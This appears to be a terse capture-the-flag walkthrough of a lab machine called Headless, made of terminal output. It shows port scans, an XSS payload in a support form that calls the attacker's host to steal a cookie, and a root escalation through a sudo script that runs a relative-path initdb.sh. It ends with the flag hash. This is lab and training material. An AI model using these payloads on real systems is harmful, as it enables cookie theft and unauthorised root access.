kali@kali ~/D/H/M/Headless> nmap -Pn -p- -n --min-rate 2000 -T4 $target Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 17:24 CST Nmap scan report for 10.129.130.191 Host is up (0.25s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 34.68 seconds
kali@kali ~/D/H/M/Headless> sudo nmap -Pn -p- -n --min-rate 2000 -T4 -sU $target [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 17:25 CST Warning: 10.129.130.191 giving up on port because retransmission cap hit (6). Nmap scan report for 10.129.130.191 Host is up (0.30s latency). All 65535 scanned ports on 10.129.130.191 are in ignored states. Not shown: 65308 open|filtered udp ports (no-response), 227 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 230.63 seconds
var url = "http://localhost:5000/support"; var isPostReq = true; var postData = 'fname=a&lname=a&email=aaa%40aaa.com&phone=a&message=%3Cimg+src%3D%22http%3A%2F%2F10.10.14.57%3A8889%22%3E'; var receiverUrl = "http://10.10.14.57:8889/";
(remote) dvir@headless:/home/dvir$ cat /var/mail/dvir Subject: Important Update: New System Check Script
Hello!
We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script. What's special for you? - You've been granted special privileges to use this script. - It will help identify and resolve system issues more efficiently. - It ensures that necessary updates are applied when needed. Rest assured, this script is at your disposal and won't affect your regular use of the system.
If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
By the way, we're still waiting on you to create the database initialization script! Best regards, Headless
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then /usr/bin/echo "Database service is not running. Starting it..." ./initdb.sh 2>/dev/null else /usr/bin/echo "Database service is running." fi
exit 0
脚本会执行当前目录的initdb.sh文件,随便写个文件传上去就可以:
(remote) dvir@headless:/home/dvir$ chmod +x initdb.sh (remote) dvir@headless:/home/dvir$ sudo /usr/bin/syscheck Last Kernel Modification Time: 01/02/2024 10:05 Available disk space: 1.9G System load average: 0.02, 0.06, 0.05 Database service is not running. Starting it... 3a4fee9b1f3562a03d089f44acb2bced (remote) dvir@headless:/home/dvir$